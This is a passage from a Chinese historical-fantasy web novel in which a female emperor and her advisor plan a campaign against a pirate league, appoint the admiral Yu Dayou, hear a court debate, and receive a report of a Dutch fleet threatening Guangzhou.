“陛下息怒。”萧御沉声道,他理解她的愤怒,此事确实骇人听闻,影响极其恶劣,“据陆文渊后续密报及影卫从其他渠道核实,袭击发生在深夜,且地点精心选在航道复杂、岛屿星罗棋布、暗礁众多的万山群岛外围水域,本就非日常巡逻重点区域,易于设伏与隐匿。‘海澄’号此行押运巨额税银,属高度机密,知情人应限于广州市舶司、广东布政使司及水师极少数高层,海盗却能精准掌握其行程、路线、乃至货物价值,显然在我内部有地位不低的内线,且筹划已久,绝非临时起意。 广东水师主力当时正在粤东柘林湾一带,追剿另一股与‘四海商盟’有竞争关系的海盗,被有意调开,反应不及。此事,彻底暴露我沿海水师分防薄弱、各自为政、协调不力、号令不灵,且内部已被渗透成筛子,有内鬼作祟等诸多致命问题。陆文渊已紧急加强广州内外防务,命令水师提高戒备,并暗中全力调查内奸及四海商盟巢穴。但他也坦言,商盟势力盘根错节,行踪诡秘,拥有不亚于、甚至可能强于部分朝廷水师的强大舰船与火力,且与部分地方势力、乃至可能和某些西洋人牵连极深,短期内恐难将其根除。他担忧,商盟此举意在示威,更是试探,若朝廷退让或反应无力,他们很可能变本加厉,继续袭击官船、商船,甚至骚扰沿海城镇,焚毁市舶司仓库,绑架朝廷命官,制造大规模恐慌,逼迫朝廷在税政乃至海贸管理上做出巨大让步!” 第229章俞大猷确有将才 “让步?试探?”谢凤卿怒极反笑,那笑容里没有一丝温度,只有凛冽的杀意与睥睨天下的冰冷,“自朕登基之日起,朕的字典里,便再无‘让步’二字!陆上的盐铁茶,盘踞百年,朕能将其连根拔起,碾为齑粉;海上的这些魑魅魍魉、跳梁小丑,朕一样能将其彻底荡平,钉在历史的耻辱柱上,沉尸海底!这不是三十万两税银的问题,这是国格!是军威!是朕对这万里海疆行使无可争议主权的象征!是朝廷新政能否推行到底的试金石!若连几个海盗都收拾不了,朕何以威服四夷?何以安定沿海百万生灵?何以面对天下臣民?!” 她几步走到悬挂着巨幅沿海及南洋舆图的墙壁前,目光如电,锐利地扫过那蜿蜒曲折如巨龙般的海岸线,与星罗棋布、标注着不同势力与危险区域的岛屿。“四海商盟……必须铲除!不惜一切代价!不仅是为了那三十万两税银,为了五十名殉国将士的性命,更是为了彰显大周国威,肃清海疆,保障海路畅通,维护朝廷律法尊严,也为日后开拓远洋贸易、收取市舶之利、富民强国,扫清这最大的障碍!” 她转身,看向萧御,目光灼灼,如同燃烧的星辰,闪烁着决断的光芒:“萧御,陆上清洗,我们占了先机,以快打慢,以朝廷整体力量碾压地方势力。这海上之战,敌暗我明,敌逸我劳,战场在风波莫测的大洋之上,又当如何破局?你有何见解?” 萧御也走到舆图前,与谢凤卿并肩而立,他修长的手指划过东南沿海几个关键位置——广州、泉州、福州、宁波,又点向澎湖、琼州(海南)外海,乃至更南方的吕宋(菲律宾)、满剌加(马六甲)一带,眉头深锁,沉声道:“陛下,四海商盟不同于陆上盐铁茶商。他们无固定城郭根基,巢穴多设于偏僻海岛或番国沿岸,隐秘难寻;他们拥有强大武装船队,尤善海战,甚至可能得到西洋最新火器技术支援,其‘黑蛟帮’的夹板巨舰,威力不容小觑;且其与沿海众多渔民、蛋民、疍家、小商人、乃至部分落魄士绅有千丝万缕联系,或威逼,或利诱,眼线遍布,消息灵通。我军稍有大规模调动,他们很可能便闻风远遁,或化整为零,隐匿于万千岛屿和百姓之中,使我重拳犹如打在棉花上,海上追剿难度极大,且劳师靡饷,旷日持久,却难收实效。此其一难。” 他顿了顿,继续道,语气更加凝重:“其二难,在于我朝水师自身。承平已久,武备废弛,除戚继光、俞大猷等名将曾经整顿过的部队尚有一定战力外,多数水师舰船老旧,火炮落后,训练松懈,官兵怯战,且吃空饷、克扣兵饷、倒卖军械现象严重,战力堪忧。更麻烦的是,水师系统内部派系林立,各地水师提督、总兵往往拥兵自重,难以协调统一指挥,且其中是否有与四海商盟勾结者,尚未可知。以如此状态之水师,能否匹敌商盟精锐海盗船队,实未可知。若贸然浪战,恐有再遭败绩、损兵折将、更损朝廷颜面之风险。” 他的分析冷静而残酷,毫不掩饰地指出了大周水师的软肋与海战不同于陆战的特殊复杂性。 “你的意思是,不能急于求成,不能硬打,需用谋略,从长计议?”谢凤卿凝神细听,并未因困难而动摇,反而更加冷静。 “臣以为,当以‘剿抚并用,分化瓦解,情报先行,重整武备,擒贼擒王’为长期方略。”萧御眼中闪过睿智而锐利的光芒,显然对此已深思熟虑,“可明面上,陛下下旨,严厉申饬广东、福建、浙江等地水师提督、总兵,责令其立即加强沿海巡防,保护商路,限期追查‘海澄’号一案真凶,并命兵部、都察院派员巡查水师武备。此为‘明修栈道’,可安抚朝野舆论,亦给地方水师施加压力,迫使其有所动作,或可使其内部不安定因素浮出水面。” “同时,”他压低声音,手指在舆图上广州的位置点了点,“需派一能臣,持陛下密旨,暗中前往广州,名义上可冠以‘巡视海防、督办市舶、协调三省水师’等职,实则为钦差,统筹全局,协助陆文渊,全权应对四海商盟之事。此人需胆略过人,心思缜密,熟悉海情夷务,有独当一面、临机决断之能,且需有足够威望或权柄,能协调甚至压制地方骄兵悍将,调动部分资源。其核心任务有四:” “其一,详查四海商盟之内部架构、主要首领身份习性、巢穴可能位置、舰船实力分布、与内外势力(包括西洋人、倭寇、沿海官员、水师将领)之具体勾结情况,尤其是内奸线索。此事需依赖精锐探子渗透,甚至可能需要设法打入其内部,或重金收买其核心人员。” “其二,寻找并利用商盟内部之裂隙。如此庞大复杂的黑暗帝国,绝非铁板一块。各派系之间,与西洋势力之间,与不同海盗团伙之间,必有利益冲突与矛盾。或可重金收买其中不得志、或与首领有隙之中下层头目;或可设计离间,使其内耗;或可拉拢打击其中较弱小、与商盟若即若离的附庸势力,以夷制夷。” “其三,评估并着手整顿我东南沿海水师真实战力。汰弱留强,惩处贪腐将领,更新舰船火炮,严格训练,提高士气与待遇。秘密调集各省水师中尚可一战之精锐舰船、火器、及善水战之将士,囤积于关键港口,随时待命。此事需暗中进行,以免打草惊蛇,但必须尽快着手,否则一切谋略皆是空谈。” “其四,待时机成熟——或是掌握其主力集结情报,或是设下圈套诱其来攻,或是其内部分裂——再以雷霆万钧之势,水陆并进,直捣其核心巢穴,或于海上预设战场决战,一举歼其主力!此所谓‘暗度陈仓’,后发制人。然时机把握,至关重要,需耐心等待,谋定而后动。” 谢凤卿听罢,沉吟良久,在舆前来回踱步。烛火将她的身影拉长,投在墙壁上,显得愈发孤高而决断。萧御的策略,务实而狠辣,充分利用了朝廷的资源、信息和组织优势,避免了在敌情不明、我军未整的情况下进行不利的正面决战,转而寻求从内部瓦解、创造战机。“有理。明面上施压整顿,暗地里谋划分化,整军经武,待敌露出破绽,再予致命一击。这是老成谋国之言。那么,派谁去合适?此人责任重于泰山,关乎东南海疆安定,甚至关乎国运,需绝对忠诚可靠,智勇兼备,尤需熟悉海事,能镇得住场面。”她脑海中快速闪过几个名字,但符合所有苛刻条件者,寥寥无几。 萧御显然早已深思熟虑,沉声道:“臣举荐一人——现任福建水师提督,俞大猷。” “俞大猷?”谢凤卿对这个名字有印象。俞大猷是嘉靖朝后期提拔起来的将领,出身军户,精通水战,早年曾随名将戚继光、胡宗宪在东南抗倭,屡立战功,以善于练兵、纪律严明、战术灵活、爱护士卒著称。后来因性格刚直,得罪上官及朝中某些权贵,被明升暗降,调任福建水师提督,看似位高,实则被排挤在抗倭主线之外,多年来郁郁不得志,但据影卫与兵部可靠回报,其在任上并未懈怠,一直致力于整饬福建海防,操练水师,打击小股海盗与走私,在官兵中威望颇高,且对海寇、走私势力深恶痛绝。影卫对其总体评价是:忠勇善战,熟稔海情,廉洁自律,然性情刚烈,不善逢迎钻营,且年事已高,近年身体似有暗疾。 “俞大猷确有将才,且对海寇走私之害认识深刻。但他久在福建,与四海商盟在闽海的势力是否有牵连?且他已年近六旬,精力、锐气可还济事?能否驾驭广州、广东那边复杂的官场局面与骄横的广东水师?朕需要的是一个能统筹全局、协调各方、乃至在必要时压制地方势力的统帅,而非仅仅一员战将。”谢凤卿提出疑问,这也是用人的关键,尤其涉及异地调兵、协调多方。 “据影卫多年密查,俞大猷为官清廉,自奉甚简,与走私势力素无瓜葛,且因其在任大力整顿海防,严厉查处与海盗走私有关联的官吏将弁,与四海商盟在福建的势力多次发生冲突,商盟曾数次试图重金收买他,皆被其严词拒绝,并将来人痛斥驱逐,甚至上报朝廷。至于年事,”萧御道,“俞大猷今年五十有八,确已不年轻,然其常年身处行伍,驰骋海疆,身体底子硬朗,更难得的是经验老到,对东南海域风情水文、潮汐洋流、海盗活动规律乃至各股势力之间的恩怨纠葛,了如指掌。且其练兵之能,水战之谋,朝中罕有匹敌,昔年戚继光亦赞其‘水战之才,吾不及也’。此正是老成谋国、沉稳持重、可托付大事之时。至于能否驾驭广东水师及复杂局面……” 第230章朕,在京城,等着他们的捷报 他略一沉吟,眼中闪过一丝锐光:“可明发诏书,擢升俞大猷为东南沿海五省(广东、福建、浙江、南直隶、山东)水师巡阅使,加兵部右侍郎衔,赐尚方宝剑、王命旗牌,有节制诸省水师、先斩后奏之权。明面上,命其巡阅海防,整饬武备,督办‘海澄’号一案,协调三省水师联合巡防。如此名正言顺,赋予其至高权柄,广东水师纵有骄横,亦不敢明面违抗。且俞大猷在军中素有威望,刚正之名广为人知,或可震慑宵小。” 他顿了顿,继续道:“暗里,陛下可另赐密旨一道与信物,授其全权处理四海商盟事宜,许其便宜行事,调动一切可用资源,包括影卫、监察司在东南的力量,以及……必要时,可调用金陵、登莱等地陆师精锐,跨海作战,清剿海岛巢穴。再选派两名绝对得力、忠诚可靠的干员为其副手,一文一武,辅助其处理夷务、情报与具体行动。” 谢凤卿凝神思索,在舆前来回踱步,烛火将她纤长而挺拔的身影投在墙壁巨幅地图上,仿佛与那蜿蜒的海岸线重叠。俞大猷的忠诚、能力与对海寇的痛恨,经过抗倭战火考验,应无问题。其年长,或许反而更能镇住地方上那些盘根错节的势力与油滑的官吏,且经验丰富,正适合处理这等复杂隐晦之事。赋予其明暗双重职权,给予最高支持,是目前能想到的最佳配置。至于副手人选…… “你所言副手,可是已有计较?”她停下脚步,看向萧御。 “臣举荐两人。”萧御显然早有腹案,“监察司千户沈炼,精通弗朗机、红毛夷、,心思缜密,善于审讯、分析与外交周旋,可协助俞大猷处理与西洋商船、番人可能的交涉,分析情报,并与陆文渊协调地方政务。另一人,影卫‘朱雀’堂主,本名朱影,武功高强,尤擅潜伏、刺探、暗杀、水战及小型特种作战,可负责具体的情报搜集、秘密渗透、联络内线、乃至关键时的斩首行动,并负责俞大猷的贴身安全。此二人携陛下手谕与信物,可秘密先行南下,与陆文渊接头,暗中布置,待俞大猷公开抵达后,再暗中汇合,共商大计。如此,明有俞大猷统筹大局,震慑四方;暗有沈炼、朱影辅佐行事,陆文渊提供地方支持,当可打开局面。” 谢凤卿听罢,缓缓颔首。沈炼与朱影,皆是影卫与监察司中顶尖人才,忠诚毋庸置疑,能力出众,一明一暗,一文一武,确是得力臂助。如此安排,思虑周详,已是目前能做出的最佳人事布局。 “好,就依你所言。”她走回书案,提笔,饱蘸浓墨,在空白的特旨用笺上疾书,字迹铁画银钩,力透纸背,“即刻拟旨,擢升福建水师提督俞大猷为东南沿海五省水师巡阅使,加兵部右侍郎衔,赐尚方宝剑、王命旗牌,节制东南诸省水师,有专断之权,限期整顿海防,严查海盗,追剿‘海澄’号案凶,协调三省联防!明发天下,六百里加急,即刻发出!” “另,拟密旨一道,赐俞大猷。着其统筹陆文渊、沈炼、朱影等人及影卫、监察司在东南一切力量,务必查明四海商盟底细,分化瓦解,寻机歼灭!朕授其全权,可调动东南五省一切钱粮、军械、船只,若有需要,可密奏于朕,调派北军精锐南下!再赐朕之随身九龙玉佩为信物,见玉佩如见朕躬,沿途官员,敢有阻挠、泄密、敷衍、阳奉阴违者,可先斩后奏!” 她放下笔,拿起那枚温润剔透、雕刻着九条形态各异飞龙的羊脂玉佩——这是她登基后,内府用最好的和田玉精心雕琢的贴身之物,象征着无上皇权。将其轻轻放在密旨之上,目光再次投向窗外沉沉的、仿佛孕育着无尽风暴的夜色,声音冰冷而坚定,带着不容置疑的杀伐决断: “告诉俞大猷、陆文渊、沈炼、朱影,”她一字一句,清晰无比,“朕不管他们用什么法子,联谁,打谁,用什么计谋,朕只要结果!一年之内,朕要看到四海商盟烟消云散,东南海疆靖平!要看到‘黑蛟帮’匪首的人头,悬挂在广州城门之上!要看到被劫税银追回,殉国将士得以昭雪!要看到我大周水师,旌旗蔽日,舰船列阵,巡航万里海疆,令诸番慑服!所需一切,朕皆允准!倾尽国库,朕也在所不惜!但若办事不力,或与贼寇有所勾连,或畏敌怯战,或虚耗钱粮……朕的尚方宝剑,不介意再多染几抹血色!陆上的刀,要快;海上的剑,更要利!朕,在京城,等着他们的捷报!” “是!臣即刻去办!”萧御肃然领命,双手接过那份沉甸甸的明发圣旨与密旨,以及那枚象征着无限信任与重托的九龙玉佩。他知道,海上的战争,其凶险、复杂与不确定性,恐怕更甚于陆上任何一场硬仗。但这同样是巩固新朝、开拓财源、震慑四夷、彰显国威的关键一战,不容有失,也……绝不能再败!他眼中燃起熊熊斗志,也闪过一丝深切的凝重,转身大步离去,身影迅速融入御书房外的沉沉夜色之中。 谢凤卿独自立于窗前,良久未动。窗外的夜色浓稠如墨,远处宫灯的昏黄光晕在夜风中摇曳,如同海上明灭不定的渔火。她的指尖无意识地摩挲着冰冷的窗棂,脑海中掠过“海澄”号在炮火中沉没的幻象,掠过将士浴血的惨状,掠过舆图上那片广袤而危机四伏的蓝色疆域,也掠过俞大猷那张饱经风霜、目光坚毅的画像。 陆上的腥风血雨尚未完全平息,海上的惊涛骇浪已扑面而来。这帝王之路,果然步步荆棘,处处刀兵。但她心中并无畏惧,只有一种冰冷的、近乎执拗的决心。既然选择了这条路,选择了这个位置,她便要扛起这江山之重,便要扫清这寰宇之浊!无论面对的是陆地上的蛀虫,还是海上的巨鳄,她都要挥剑斩之! 她缓缓转身,走回书案前。案上,那份来自户部、写着扬州盐税“八十五万两”的捷报犹在。她凝视着那个数字,眸光深沉。这巨大的财富,是新政的乳汁,也是催生更多贪婪与挑战的诱饵。如何用好这笔钱,整军经武,兴修水利,安抚百姓,同时应对海上威胁,是接下来的重中之重。 提笔,她开始批阅最后几份奏章。其中一份,是工部与钦天监联合呈报的,关于今夏黄河、淮河、长江水情的预估与防汛建议。另一份,是北境边关送来的军情简报,提及戎狄各部似有异动,正在集结。还有一份,是关于京畿地区推广新式织机遇到阻力,当地丝户联合抵制…… 桩桩件件,千头万绪,都等着她这个帝王去裁决,去推动。疲惫再次如潮水般涌上,太阳穴隐隐作痛,但她深吸一口气,强行将倦意压下。目光重新变得锐利清明,朱笔再次挥动。 凤翔元年,这个以她封号命名的年份,在血与火、改革与抗争、希望与挑战、陆上硝烟与海上烽火的交织中,正以不可阻挡之势,向着不可预知的深处,奔涌前行。而这一切,或许,真的才刚刚开始。 东方天际,第一缕微弱的曙光,正悄然刺破沉沉夜幕,预示着新的一天,即将来临。 凤翔元年的春天,来得比往年更迟一些。京城的柳树刚刚抽出一抹嫩绿,料峭的寒风依旧在宫墙殿宇间穿梭,带来北地尚未融尽的冰雪气息。然而,朝堂之上,关于东南海疆、关于“海澄”号惨案、关于四海商盟的争论与暗流,却已如即将到来的夏日雷暴,沉闷、压抑,一触即发。 宣政殿内,大朝会。 鎏金蟠龙柱下,文武百官分列两班。谢凤卿高坐于丹陛之上的龙椅,衮服冕旒,面容沉静,目光缓缓扫过下方一张张或肃穆、或紧张、或揣测、或漠然的面孔。自新税制推行以来,每一次大朝会都像是一场没有硝烟的战争,今日,似乎尤甚。 兵部尚书出列,奏报对“海澄”号事件及沿海海防的最新处置:“……陛下明鉴,兵部已遵旨,明发百里加急,擢升俞大猷为东南五省水师巡阅使,赐尚方宝剑、王命旗牌,全权处置海防及剿匪事宜。俞大人接旨后,已从福建动身,不日将抵达广州。广东、福建、浙江三省水师提督,亦接严旨,正加紧整顿武备,加强巡防。然……”他略微迟疑了一下,“然沿海水师积弊已久,战船朽坏,火炮老旧,兵员缺额严重,士气低迷,非旦夕可改。且四海商盟盘踞外海,行踪诡秘,巢穴不明,大军征剿,恐如大海捞针,劳师靡饷,反为其所乘。更有传言,商盟与西洋红毛、佛朗机等夷人勾结,船坚炮利,实为劲敌。故……臣以为,剿抚并用,或为上策。若能遣一能言善辩、熟悉夷务之臣,前往招抚,晓以利害,许其归顺,或可化干戈为玉帛,免东南生灵涂炭,亦省却朝廷无数钱粮兵马。” 第231章非常之时,当行非常之 兵部尚书话音刚落,都察院左都御史便冷哼一声,出列反驳:“荒谬!‘海澄’号乃朝廷官船,船上税银乃国帑,五十余名官兵乃王师!四海商盟,不过一群啸聚海上的亡命匪类,竟敢公然袭击官船,杀戮官兵,劫掠国帑,此乃谋反大逆,十恶不赦!对如此狂悖逆贼,焉有招抚之理?若招抚,国法何存?朝廷威严何在?阵亡将士英灵何安?此例一开,天下盗匪岂不群起效仿,视朝廷如无物?臣以为,当倾东南全力,调集各省水师精锐,并请调北地善战陆师南下,水陆并进,犁庭扫穴,务必将其巢穴荡平,匪首尽数擒拿,明正典刑,以儆效尤!方显我天朝赫赫武功,凛然不可侵犯!” “左都御史此言,未免书生之见,不切实际!”户部右侍郎出列,语气尖锐,“倾东南全力?调北军南下?钱粮从何而来?大军一动,日费千金!去岁北地旱蝗,今春河工吃紧,西北戎狄又有异动,处处都要用钱!新税制虽初见成效,然银钱入库尚需时日周转分配,且扬州盐税大增,全赖新法严苛,东南海贸税收,更是未来国库重要支柱,此时若在海上开启大规模战事,耗费无算,商路断绝,税收锐减,岂非自断财路?招抚固然有损颜面,然若能令其归顺,约束其行,准其以部分合法贸易换取朝廷认可,既可安抚海疆,又可保市舶之利,实为两全之策。非常之时,当行非常之法,岂可一味逞强斗狠,罔顾国计民生?” “此非逞强斗狠,乃维护国本!”一名年轻的翰林院编修激愤出列,“国本者,法度与尊严也!若因区区钱粮损耗,便向袭杀王师、劫掠国帑的海盗妥协,朝廷法度威严扫地,日后边疆有事,四夷来犯,是否也要因耗费钱粮而割地赔款,屈膝求和?长此以往,国将不国!俞大猷将军乃我朝水师名将,昔年抗倭,战功赫赫,陛下既已委以重任,赐予全权,正当厉兵秣马,寻机歼敌,以振国威!岂可未战先怯,言和招抚?此非老成谋国,实为畏敌如虎,祸国之论!” “黄口小儿,懂得什么!”另一名老成持重的工部侍郎斥道,“海战非同陆战,风波险恶,敌情不明。昔年汪直、徐海等巨寇,朝廷耗费多少兵马钱粮,历时多年,方得剿平?如今这四海商盟,势力恐不下于当年汪、徐,且与西洋勾结,船炮更利。贸然兴兵,胜败难料。一旦有失,损兵折将尚在其次,若激起更大变乱,海疆糜烂,商路断绝,东南财赋重地动荡,动摇国本,谁人能担此责?招抚之议,虽损颜面,实为老成持重,保全大局!” 朝堂之上,顿时吵作一团。主剿派与主抚派各执一词,引经据典,互相攻讦。主剿者多言国体尊严,法度不可废;主抚者多虑钱粮耗费,海战风险。中间亦有持重者,建议“剿抚并用,以剿促抚,分化瓦解”。声音越来越高,气氛越来越紧张,仿佛一点火星就能引爆。 谢凤卿高坐龙椅,面无表情地听着下方的争吵。这些争论,早在她预料之中。文官们的思虑,无非是从各自立场、利益、见识出发。她需要的,不是他们的一致赞同,而是通过争论,看清各方态度,也让某些隐藏在暗处的势力,露出蛛丝马迹。 她的目光,看似不经意地扫过几个一直沉默,或语焉不详的重臣。内阁首辅徐阶,老神在在,眼帘低垂,仿佛在打瞌睡,但偶尔掀开的眼皮下,精光一闪而逝。他并未明确表态,但其门生故吏,多有主张“慎重”、“抚慰”者。次辅高拱,脸色严肃,几次欲言又止,最终却只是眉头紧锁。他是北方清流领袖,向来主张强硬,但似乎对海战并无把握,且更关注北疆戎狄动向。勋贵集团以英国公张溶为首,大多沉默。他们对海贸利益牵扯不深,对水师更不熟悉,持观望态度。 直到争吵渐渐平息,众臣目光重新聚焦于御座之上,谢凤卿才缓缓开口,声音不高,却清晰传入每个人耳中,带着一种不容置疑的冰冷与威严: “众卿所议,皆有道理。然,‘海澄’号五十余名将士的鲜血,三十万两国帑的损失,四海商盟公然袭击官船、藐视朝廷的逆行,不是靠争吵,更不是靠妥协,就能洗刷的。” 她顿了顿,目光如冰刃般扫过下方:“朕已决意,四海商盟,必须剿灭!此非意气之争,乃国本所系!海疆不靖,则商路不通;商路不通,则市舶之利不保;市舶之利不保,则国库岁入受损,新政难以为继,天下动荡!此其一。” “其二,匪焰嚣张若此,朝廷若不施以雷霆,予以毁灭性打击,则东南沿海,乃至万里海疆,将永无宁日。今日可劫官船,明日便可袭州县;今日杀我五十官兵,明日便敢屠我沿海百姓!盗匪之欲,从无餍足!今日退一尺,明日其必进一丈!届时,我大周万里海疆,莫非王土,莫非任由盗匪横行,西洋夷人渔利?朕,绝不答应!” 她的声音陡然提高,带着金石之音,在空旷的大殿中回荡:“俞大猷,是朕选的刀!这把刀,已经磨利,指向东南!朕不管他用什么法子,联谁,打谁,用间,用谋,朕只要结果!一年为期,四海商盟,必须从这片海上抹去!” “至于钱粮,”她目光转向户部尚书,“新税之入,优先保障东南用兵、水师整顿、及北疆防务。国库再紧,此战之费,不可短缺分毫!工部、兵部,全力配合,更新战船火炮,若有延误,严惩不贷!陆上诸省,加紧清丈田亩,推广新税,充实国库,以作后援!” “至于尔等,”她的目光再次扫过群臣,尤其是在方才主张“招抚”最力的几人脸上顿了顿,那目光并不如何严厉,却让那几人不由自主地低下头,背后沁出冷汗,“可建言,可献策,但若有人敢暗中掣肘,泄露军机,或与贼寇暗通款曲,以致贻误军机……朕的尚方宝剑,斩得了海盗,也斩得了朝堂上的蛀虫!” 最后一句,杀气凛然,满殿皆静。连最老成的徐阶,也微微抬起了眼帘,深深看了御座上的年轻女帝一眼。 “退朝!” 散朝后,谢凤卿回到御书房,脸上的疲惫再也无法掩饰。方才朝堂上的强硬,需要耗费巨大的心力去支撑。她揉了揉胀痛的太阳穴,萧御已无声无息地出现在一旁,递上一碗温度刚好的参茶,以及一封刚刚收到的、封口处有特殊火漆印记的密信。 “陛下,俞大猷的密报,八百里加急,刚送到。”萧御低声道。 谢凤卿精神一振,接过密信,迅速拆开。信是俞大猷亲笔所书,字迹刚劲有力,力透纸背,但行文间透出的信息,却让她眉头再次蹙紧。 俞大猷已于半月前秘密抵达广州,与陆文渊、先期抵达的沈炼、朱影会合。初步查探,情况比预想的更为复杂严峻。 四海商盟内部,确如萧御所料,并非铁板一块。主要由三大势力把持:以“混海蛟”郑万山为首的闽海派,以“翻江鳄”陈三魁为首的粤海派,以及最为神秘、核心、且拥有西洋舰船火炮的“黑蛟帮”,其帮主身份成谜,外号“龙王”,据传有部分倭人血统,且与西洋往来密切。三大势力之间,既有合作,更多是竞争与猜忌。郑万山贪财好色,陈三魁悍勇鲁莽,而“龙王”则深居简出,心机深沉。 广东水师内部,腐败触目惊心。战船十之六七不堪用,火炮锈蚀严重,火药受潮,兵员缺额高达四成,剩下也多老弱,训练废弛,军官层层克扣粮饷,倒卖军械物资。更令人心惊的是,俞大猷通过沈炼、朱影的暗查,已掌握确凿证据,广东水师提督麾下的一名参将、两名守备,以及广州市舶司的两名吏员,与四海商盟粤海派“翻江鳄”陈三魁有秘密往来,定期收受巨额贿赂,为其走私提供庇护,泄露官船行程。此次“海澄”号遇袭,内奸正是出自这几人!俞大猷已不动声色,暗中控制住了这几人及部分相关家眷,但为免打草惊蛇,尚未收网。 然而,最大的麻烦,并非内奸,而是来自外部。就在俞大猷抵达广州前数日,由五艘大型西洋夹板船组成的荷兰东印度武装商船队,在两名被其称为“甲必丹”的率领下,悍然闯入珠江口,炮击虎门炮台,击伤守军十余人,焚毁民船数艘,随后强行突入内河,直逼广州城外!荷兰人升起旗帜,要求与大周官员“平等谈判”,提出诸多苛刻要求:包括开放广州为通商口岸,减免关税,给予荷兰东印度公司独家贸易特权,划拨土地建立商馆和堡垒,并允许其传教士自由传教。态度极其强硬嚣张,并以船上数十门重炮相威胁。 第232章终于还是来了 广州城内,人心惶惶。广东巡抚、布政使等地方大员惊慌失措,主战主和,争吵不休。陆文渊主张强硬回击,但广东水师战力堪忧,虎门炮台又受创,一时难以组织有效抵抗。荷兰船队就泊在城外江面,黑洞洞的炮口指向广州城,每日派小艇上岸滋扰,索要补给,气焰极为嚣张。 俞大猷在密信中分析,荷兰人此次突然发难,绝非偶然。其时机恰好选在“海澄”号事件爆发、朝廷注意力集中于四海商盟、东南水师虚弱混乱之际。其背后,极有可能有四海商盟,特别是与荷兰人关系密切的“黑蛟帮”暗中怂恿、引导,甚至提供了情报支持。荷兰人想趁火打劫,利用大周内部不稳、海防空虚之机,武力胁迫,攫取最大贸易特权。而四海商盟,则想借荷兰人之手,进一步打击朝廷威信,扰乱东南,甚至可能希望荷兰人与朝廷两败俱伤,他们好从中渔利,或至少迫使朝廷在剿匪问题上让步。 俞大猷在信中请示:当前局面,内忧(水师腐败、内奸)外患(荷兰舰队兵临城下、四海商盟虎视眈眈)交织,敌情不明,我方准备严重不足。是冒险与荷兰人开战?还是暂时虚与委蛇,先行谈判,争取时间整顿内部,再图后计?若战,胜算几何?若和,底线何在?荷兰人要求“平等谈判”,见是不见?若见,以何种规格、何种名义?此事牵涉夷务国体,干系重大,他不敢擅专,请陛下圣裁。 信末,俞大猷笔锋凝重地写道:“……红毛夷船坚炮利,桀骜凶悍,远非寻常海寇可比。其舰上火炮射程、威力,犹在我大明水师之上。虎门受创,已见一斑。然夷人跨海远来,兵员不多,补给不易,所恃者船炮之利耳。其气焰虽盛,实为讹诈。若示弱过甚,其必得寸进尺;若仓促浪战,我军新败(指海澄号),水师未整,胜算渺茫,恐有广州城下之辱。臣与陆文渊、沈炼、朱影等再三计议,以为当以‘外示强硬,内紧筹备,拖延周旋,寻机破敌’为上。然夷情如火,瞬息万变,需朝廷速定大略,授予机变之权。东南安危,在此一举。臣,俞大猷,顿首再拜,翘首以盼天语!” 看完密信,谢凤卿久久不语。手指无意识地敲击着光滑的紫檀木桌面,发出沉闷的笃笃声。御书房内,烛火跳跃,将她凝重的侧影投在墙壁上。 荷兰人……红毛夷……终于还是来了。她对此并非全无预料。萧御曾多次提及,西洋诸国航海术日精,火器犀利,殖民扩张,野心勃勃,早已将触角伸向远东。葡萄牙人窃据澳门,西班牙人盘踞吕宋,荷兰人横行南洋,屡屡叩关。只是没想到,他们会选择这个最敏感、最脆弱的时机,以如此嚣张的方式,兵临广州城下! 这已不仅仅是四海商盟的问题,这是赤裸裸的武装挑衅,是对大周主权和尊严的公然践踏!若处理不当,轻则丧权辱国,东南门户洞开;重则引发大规模冲突,甚至战争。 打,还是谈? 打,以目前广东水师那朽烂的战船、锈蚀的火炮、缺额的兵员、低迷的士气,去对抗船坚炮利的荷兰舰队,胜算几何?俞大猷的判断是“胜算渺茫”。一旦战败,广州可能不保,东南震动,朝廷威信扫地,四海商盟必定趁势而起,天下板荡。这个风险,太大。 谈,怎么谈?荷兰人提出的条件,条条触及底线,近乎城下之盟。开放口岸、减免关税尚可商榷,但独家贸易特权、割地建堡、自由传教,这是要将广州变成第二个澳门,甚至更糟!此例一开,其他西洋国家必然蜂拥而至,步步紧逼,国将不国。而且,与夷人“平等谈判”?在对方炮口之下谈判?这本身,就是屈辱。 “萧御,你怎么看?”谢凤卿将密信递给他,声音有些沙哑。 萧御快速浏览,脸色也凝重起来。他沉思片刻,缓缓道:“陛下,荷兰人来者不善,善者不来。其与四海商盟勾结,趁火打劫,意图明显。此时开战,确非良机。然,谈判亦不可退让过多,尤其割地、建堡、传教、独家特权等项,绝不可应允,此乃原则,关乎国体。” “那当如何?” “臣以为,俞大猷‘外示强硬,内紧筹备,拖延周旋,寻机破敌’之策,是当前唯一可行之方略。”萧御分析道,“可命俞大猷、陆文渊,以钦差、市舶司提举名义,与荷兰人接触谈判。态度务必不卑不亢,可重申我朝怀柔远人之意,亦要严正申明,珠江口乃至所有大周海域、土地,皆属王土,不容侵犯。其所提条件,除正常贸易、缴纳关税可商议外,其余过分要求,一概严词拒绝。谈判过程中,可示以广州城防严密、各地援军将至之态势,使其不敢轻举妄动。此为‘外示强硬’与‘拖延周旋’。” “同时,”萧御眼中寒光一闪,“命俞大猷借谈判拖延之机,以钦差和尚方宝剑之威,雷厉风行,彻底整顿广东水师!以通匪、贻误军机、贪墨等罪名,公开处置已掌握证据的参将、守备等内奸,以正军法,振奋士气!随即,以铁腕手段,汰换老弱,惩处贪腐将领,紧急修缮可用战船,调配精良火炮火药,从福建、浙江水师抽调部分精锐将士、战船秘密南下广州,补充实力。命沈炼、朱影,加紧探查四海商盟巢穴,尤其注意其与荷兰人之间的具体勾结方式、联络渠道,若能抓到确凿证据,或可离间之。命工部、兵部,全力支持东南,调拨最新仿制的红夷大炮、优质火药、精铁,日夜兼程,运往广州。并密令南直隶、浙江、福建沿海,提高戒备,防止其声东击西。此为‘内紧筹备’。” “至于‘寻机破敌’,”萧御声音压得更低,“荷兰舰队虽强,然孤军深入,补给困难,水土不服,久拖必生变。我可利用地利,以小股精锐快船骚扰其补给线,焚毁其可能获得补给的沿海据点(需提防四海商盟提供)。或可设计,假意答应其部分贸易条件,诱其部分船只入内河狭窄处,或于夜间、大雾天气,以火攻船、水鬼凿船等战术袭扰。若能捕获其落单船只,或擒获其重要头目,则可大增谈判筹码。甚至……若能设法切断其与四海商盟的联络,或使二者产生猜忌,则荷兰人孤悬海外,其势自沮。” “此外,”萧御补充道,“可命沈炼设法接触其他西洋国家商船或代表,如葡萄牙人、西班牙人,甚至与荷兰人有竞争关系的英国人。向其表明,我朝愿与各国开展公平贸易,但反对任何武力胁迫。荷兰人若恃强凌弱,独占利益,亦不符其他西洋国家利益。或可借此,对荷兰人形成牵制。” 